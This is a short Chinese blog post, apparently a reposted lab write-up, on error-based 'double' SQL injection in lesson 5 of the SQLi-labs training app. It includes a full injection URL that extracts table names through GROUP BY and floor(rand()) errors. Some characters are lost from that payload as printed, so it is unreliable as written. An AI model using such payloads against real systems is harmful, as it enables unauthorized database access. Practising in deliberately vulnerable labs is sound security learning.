美文网首页
SQLi-LAB lesson5 Double Injectio

SQLi-LAB lesson5 Double Injectio

作者: gg大宇 | 来源:发表于2019-12-18 23:42 被阅读0次

单引号报错:


image.png

order by猜列数


image.png

这个double injection主要原理是:将group by与一个聚合函数一起使用,如count(*) 可以将想要查询的内容作为错误信息返回


image.png

使用随机数测试 无回显:


image.png

前面说过需要用group by和一个聚合函数一起产生错误,所以这里把2换成count(*),并在最后添加group by语句


image.png

可以看到显示的错误信息中包含了数据库名,同理可得用户、数据库版本。
得到表信息,payload:
http://192.168.56.131/Less-5/?id=0%27%20union%20select%201,count(),concat(database(),%27;%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand()2))%20as%20a%20from%20information_schema.tables%20group%20by%20a%23

image.png image.png

改变limit可以得到后面的表名


image.png

相关文章

网友评论

      本文标题:SQLi-LAB lesson5 Double Injectio

      本文链接:https://www.haomeiwen.com/subject/qcppnctx.html